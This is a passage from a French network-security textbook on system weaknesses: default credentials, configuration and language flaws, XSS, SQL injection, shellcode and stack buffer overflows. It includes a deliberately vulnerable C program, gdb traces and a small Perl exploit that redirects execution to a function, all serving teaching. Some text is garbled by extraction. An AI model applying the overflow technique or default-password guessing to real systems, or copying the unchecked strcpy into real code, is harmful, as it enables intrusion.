• Aucun résultat trouvé

Attaques sur les faiblesses des systèmes réseau

Dans le document sécurité réseau (Page 73-81)

Les attaques système s’appuient sur divers types de faiblesses, dont il est possible de dresser une typologie.

Faiblesses d’authentification

Il est fréquent de trouver au sein des entreprises des comptes utilisateur génériques, stan-dardisés par des mots de passe triviaux et associés à des droits d’accès permissifs.

Un pirate peut commencer son intrusion non par la recherche de failles exploitables mais simplement par des tentatives itératives de pénétration. Celles-ci peuvent commencer par les comptes oracle, admin, toor, sybase, solaris, linux, etc., associés à des mots de passe identiques au nom du compte.

Quant aux mots de passe des constructeurs, il suffit de se rendre sur le site http://

www.google.fr et de rechercher « default password » pour se faire une idée du laxisme ambiant.

Faiblesses de configuration

La configuration des systèmes réseau est critique. Elle doit donc suivre des règles strictes d’implémentation afin d’éviter que le réseau ne joue un rôle de rebond lors d’attaques éventuelles.

Une configuration adéquate doit éviter que les systèmes ne soient accédés par des acteurs non autorisés.

Les erreurs de configuration peuvent être de plusieurs natures, incluant l’erreur humaine.

Faiblesses des langages

Un langage informatique a pour objectif de décrire les actions consécutives qu’un ordina-teur doit exécuter afin de construire un programme informatique.

L’assembleur, le premier langage informatique utilisé, dépend étroitement du type de processeur (chaque type de processeur peut avoir son propre langage machine). Ainsi, un programme développé pour un système ne peut être porté sur un autre sans une revue de son code.

Les langages informatiques utilisés de nos jours peuvent grossièrement se classer en trois catégories, les langages interprétés, les langages compilés et les langages hybrides, comme rappelé au tableau 2.3 :

• Un programme écrit dans un langage « interprété » doit être traduit pour être rendu intelligible par le processeur. Un programme écrit dans un langage interprété a donc besoin d’un programme auxiliaire, l’interpréteur, pour traduire au fur et à mesure les instructions du programme.

• Un programme écrit dans un langage « compilé » est traduit une fois pour toutes par un programme annexe, le compilateur, afin de générer un nouveau fichier autonome, n’ayant plus besoin d’un programme autre que lui pour s’exécuter. On dit que ce fichier est exécutable. Un programme écrit dans un langage compilé a pour avantage de ne plus nécessiter, une fois compilé, de programme annexe pour s’exécuter. De plus, la traduc-tion étant faite une fois pour toutes, il est plus rapide à l’exécutraduc-tion. Il est toutefois moins souple qu’un programme écrit avec un langage interprété, car, à chaque modification du fichier source (fichier intelligible par l’homme et qui doit être compilé), il faut recom-piler le programme pour que les modifications soient prises en compte.

• Certains langages, comme LISP, Java, Python, etc., appartiennent en quelque sorte aux deux catégories, car le programme écrit avec ces langages peut, dans certaines condi-tions, subir une phase de compilation intermédiaire vers un fichier écrit dans un langage non intelligible (différent du fichier source) et non exécutable (nécessitant un interpréteur). Les applets Java, petits programmes insérés parfois dans les pages Web, sont des fichiers qui sont compilés mais que l’on ne peut exécuter qu’à partir d’un navigateur Internet.

Tableau 2.3 Typologie des langages les plus utilisés

Langage Domaine d’application principal Type

ADA Temps réel langage compilé

C Programmation système langage compilé

C++ Programmation système objet langage compilé

Cobol Gestion langage compilé

Fortran Calcul langage compilé

Java Programmation orientée Internet langage hybride

LISP Intelligence artificielle langage hybride

Pascal Enseignement langage compilé

Prolog Intelligence artificielle langage interprété

Perl Traitement de chaînes de caractères langage interprété

De manière générale, le langage utilisé pour écrire un programme doit tenir compte de nombreux paramètres, tant au niveau de l’efficacité que de la sécurité. De plus, la gestion de la mémoire, la gestion des exceptions ainsi que la gestion des pointeurs sont des sour-ces importantes de programmation si elles ne sont pas masquées et gérées par le langage.

Le langage Java gère par conception ces diverses sources d’erreur, notamment des diffé-rentes façons suivantes :

• Exécution dans le processus de la machine virtuelle : cela garantit généralement un espace d’adressage mémoire limité en lecture et en écriture, voire un jeu d’instructions limité. Il limite l’impact contre les erreurs fatales d’un programme en s’assurant que celui-ci affecte le processus de la machine virtuelle et non le système d’exploitation.

• Typage fort : un objet ne peut être manipulé qu’au travers de son interface. En interdi-sant les conversions (transtypage ou cast) sauvages, Java garantit l’intégrité de l’état (des données) d’un objet, moyennant un développement vertueux avec des attributs privés, par exemple. D’une manière générale, l’accès aux données est contrôlé par l’interface du type de ces données, à l’exception malheureuse des classes internes (inner classes). Cette sécurité permet d’autoriser plusieurs flots d’exécution (code + threads) à partager le même espace d’adressage, ce qui est plus performant que d’exécuter plusieurs applications dans des espaces d’adressage différents ou d’utiliser une zone d’échange commune.

• Modificateurs d’accès (private, protected, final) : à nouveau, ceux-ci permettent à plusieurs applications de coopérer dans le même espace d’adressage de manière sécurisée.

• Objets constants : Java offre diverses classes d’objets constants (non modifiables ou immutables), telles que les chaînes de caractères (String) ou les wrappers de types simples (Integer, Long, Float, etc.). Cela permet de retourner un objet en lecture seule (la modification d’une chaîne retournée ne doit pas modifier la chaîne d’origine, par exemple). On peut voir les objets constants comme des objets gardés n’autorisant que la lecture.

• Tableaux à limites contrôlées : un tableau est presque un objet, dont la lecture et la modification du contenu sont contrôlés afin d’éviter les accès mémoire illégaux.

Bien que les langages évoluent et intègrent de plus en plus de fonctions de sécurité, ils restent vulnérables à de nombreuses attaques.

Faiblesses de programmation

Le langage utilisé pour écrire un programme doit tenir compte de nombreux paramètres, tant au niveau de l’efficacité que de la sécurité. De plus, la gestion de la mémoire, des exceptions et des pointeurs est une source importante de dangers si elle n’est pas masquée par le langage.

Les dépassements de capacité (buffer overflow) sont exploitées depuis les débuts de l’architecture de Von Neuman et ont gagné en notoriété avec le ver Morris en 1988. La plupart des systèmes informatiques modernes utilisent une pile pour passer les arguments aux procédures et stocker les variables locales. Le pointeur de pile est un registre qui

référence la position courante du sommet de la pile. Etant donné que cette valeur change constamment au fur et à mesure que de nouvelles valeurs sont ajoutées au sommet de la pile, beaucoup d’implémentations fournissent un pointeur de structure, qui est positionné dans le voisinage du début de la structure de la pile de façon que les variables locales soient plus facilement adressables.

L’adresse de retour des appels de fonction est aussi stockée dans la pile, ce qui occa-sionne des dépassements de pile. Le fait de faire déborder une variable locale dans une fonction peut écraser l’adresse de retour de cette fonction, permettant potentiellement à un utilisateur malveillant d’exécuter le code qu’il désire.

Un processus a besoin de mémoire pour stocker ses variables statiques et dynamiques ainsi que son code machine pendant qu’il s’exécute. Cette mémoire est toujours organi-sée d’une façon spécifique. La figure 2.10 illustre cette organisation pour un processeur Intel x86.

Voici une liste non exhaustive de faiblesses de programmation susceptibles d’être exploi-tées par un pirate :

• Erreurs arithmétiques : elles se produisent lorsque les limitations d’une variable sont dépassées. Ces erreurs génèrent des problèmes d’exécution importants (dépassement de capacité positif, valeur trop grande pour le type de données, dépassement de capa-cité négatif, etc.).

• Scripts intersites (cross-site scripting) : permettent aux pirates d’exécuter un script malveillant dans un navigateur Web client, d’insérer des balises <script>, <object>,

<applet>, etc. mais aussi de voler des informations de session (cookies, authentification, etc.) ou encore permettent d’accéder à l’ordinateur client.

• Injections SQL : permettent d’ajouter des instructions SQL à une entrée utilisateur afin de tester les bases de données, contourner les autorisations, exécuter plusieurs instruc-tions SQL ou appeler des procédures stockées intégrées.

Figure 2.10 se remplit du bas vers le haut.

Zone de pile (Stack) : se remplit du haut vers le bas.

Haut de la mémoire

• Problèmes de canonisation : les diverses formes syntaxiques utilisées pour nommer un élément, telles que noms de fichiers, d’URL, de périphériques, etc., peuvent permettre à un pirate d’exploiter du code qui fonde ses actions sur des noms de fichiers, des URL, etc.

• Faiblesses cryptographiques : concerne l’utilisation erronée des algorithmes soit en créant ses propres algorithmes, soit par une mauvaise utilisation d’algorithmes exis-tants. Cela touche aussi la sécurisation des clés en terme de stockage non sécurisé, de durée d’utilisation trop longue, etc.

• Problèmes Unicode : les erreurs telles que celle consistant à considérer un caractère Unicode comme un octet unique, à calculer de façon erronée la taille de la mémoire tampon, à utiliser de façon erronée des bibliothèques ou à valider les données avant la conversion et non après peuvent entraîner des débordements de la mémoire tampon et introduire des séquences de caractères potentiellement dangereuses.

Attaque par shellcode

Le terme « shellcode » désigne un programme qui s’appuie sur un débordement de tampon. Il s’agit d’un programme en langage machine qui est exécuté à la place du programme normal, et donc avec ses privilèges.

Parce qu’il est codé en langage machine, un shellcode ne fonctionne qu’avec un type de processeur particulier. Plus précisément, chaque système d’exploitation utilisant des programmes différents, une attaque en débordement de pile ne fonctionne qu’avec une version précise du programme vulnérable, lui-même ne fonctionnant que sur un système d’exploitation particulier.

Attaque par débordement de tampon

Les données d’entrée sont stockées dans des variables. Si le programmeur qui a conçu le programme source a fixé une limite pour l’espace de stockage de la variable (allocation statique au lieu de dynamique), le fait de fournir une donnée d’entrée qui excède la taille prévue provoque un débordement.

La pile contient une information très précieuse : l’adresse de la prochaine instruction à exécuter. L’art du débordement de tampon consiste en fait à remplir la zone de stockage des variables afin que le programme vulnérable lance un code programme injecté par l’intrus en lieu et place du code original ou que l’adresse de la prochaine exécution soit modifiée pour lancer directement une fonction utile au pirate. C’est ce qu’illustre la figure 2.11.

Figure 2.11

Exemple de débordement

de pile Zone de la pile pour ftpd

N o m U t i l i s a t e u r \0 \0 \0 M o t D e P a s

Voici un exemple de programme écrit en langage C contenant une erreur de programma-tion permettant de réaliser une attaque de type buffer overflow :

#include <stdio.h>

void BufferOverflow(const char *input) { char buf[10];

printf("\npile avant strcpy \n%p\n%p\n%p\n%p\n%p\n%p\n");

strcpy(buf,input);

printf("\npile après strcpy \n%p\n%p\n%p\n%p\n%p\n%p\n");

}

void cracker(void) {

printf("cracker a été exécuté\n");

}

int main(int argc, char **argv) {

printf("l’adresse de BufferOverflow est %p\n",BufferOverflow);

printf("l’adresse de cracker est %p\n",cracker);

BufferOverflow(argv[1]);

return 0;

}

La faiblesse exploitée par le buffer overflow vient du fait que l’on copie des données dans un « buffer » sans contrôler leur taille. La ligne de programmation incriminée est strcpy(buffer,str), qui peut être exploitée par une telle attaque.

Afin de mieux comprendre le problème, nous allons passer notre programme au débo-gueur GNU.

Commençons par compiler le programme avec l’option ggdb : cc -ggdb m.c

Lançons maintenant le programme avec comme entrée A. Nous obtenons le résultat suivant :

bash$ ./a.out A

l’adresse de BufferOverflow est 0x8048400 l’adresse de cracker est 0x8048434 pile avant strcpy

0xbffffaa8 0x401081cc 0xbffffaa8 0xbffffaa8 0x804847d 0xbffffbeb pile après strcpy

0xbfff0041

L’objectif est de connaître l’adresse de retour de la fonction BufferOverflow après son exécution. L’affichage de la pile nous indique que cette adresse est 0x804847d, comme nous le confirme le désassemblage du programme main :

(gdb) disassemble main

Dump of assembler code for function main:

0x8048448 <main>: push %ebp 0x8048449 <main+1>: mov %esp,%ebp 0x804844b <main+3>: push $0x8048400 0x8048450 <main+8>: push $0x8048580

0x8048455 <main+13>: call 0x8048330 <printf>

0x804845a <main+18>: add $0x8,%esp 0x804845d <main+21>: push $0x8048434 0x8048462 <main+26>: push $0x80485a4

0x8048467 <main+31>: call 0x8048330 <printf>

0x804846c <main+36>: add $0x8,%esp 0x804846f <main+39>: mov 0xc(%ebp),%eax 0x8048472 <main+42>: add $0x4,%eax 0x8048475 <main+45>: mov (%eax),%edx 0x8048477 <main+47>: push %edx

0x8048478 <main+48>: call 0x8048400 <BufferOverflow>

0x804847d <main+53>: add $0x4,%esp /* adresse de l’instruction suivante après */

0x8048480 <main+56>: xor %eax,%eax /* BufferOverflow */

0x8048482 <main+58>: jmp 0x8048484 <main+60>

0x8048484 <main+60>: leave 0x8048485 <main+61>: ret End of assembler dump.

L’idée est de lancer à présent plusieurs fois le programme avec la chaîne de caractères A afin d’écraser la pile jusqu’à l’adresse de l’instruction suivante qui sera chargée dans le registre EIP.

Après plusieurs essais, voici la commande de la chaîne de caractères nécessaire pour écraser dans les prochains octets l’adresse de l’instruction suivante :

(gdb) run AAAAAAAAAAAAAAAA

0xbffffa68 0x804847d 0xbffffbc1 pile après strcpy 0x41414141 0x41414141 0x41414141 0x41414141 0x8048400 0xbffffbc1

Cette dernière violation nous intéresse particulièrement, puisque l’attaque par buffer overflow permet de définir la prochaine instruction. A correspond à x41 en ASCII. Si nous parvenons à injecter 0x8048434, nous exécuterons une fonction qu’il n’était pas prévu d’exécuter dans le programme initial.

Pour y arriver, nous utilisons le petit programme PERL suivant : /* programme hack.pl */

/* préparation de l’input d’overflow que l’on desire injecter */

$arg = "AAAAAAAAAAAAAAAA"."\x34\x84\x04\x8";

/* exécution de la commande */

$cmd = "./a.out ".$arg;

system($cmd);

Quand nous lançons ce programme, nous obtenons le résultat suivant : bash$ perl hack.pl

l’adresse de BufferOverflow est 0x8048400 l’adresse de cracker est 0x8048434 pile avant strcpy

0xbffffa98 0x401081cc 0xbffffa98 0xbffffa98 0x804847d 0xbffffbd2 pile après strcpy 0x41414141 0x41414141 0x41414141

0x41414141 /* écriture de l’adresse de la fonction cracker sur 0x8048434 lequel pointe le registre EIP */

0xbffffb00 /* exécution de la fonction cracker */

cracker a été exécuté bash$

Nous constatons que la pile a été écrasée avec le caractère A (après le strcpy) jusqu’à modifier l’adresse de retour afin d’exécuter la fonction hacker (0x804847d versus 0x8048434).

L’attaque par débordement de tampon peut s’appliquer aussi bien à la pile (stack over-flow) qu’au tas (heap overflow ou heap buffer overover-flow).

Dans le document sécurité réseau (Page 73-81)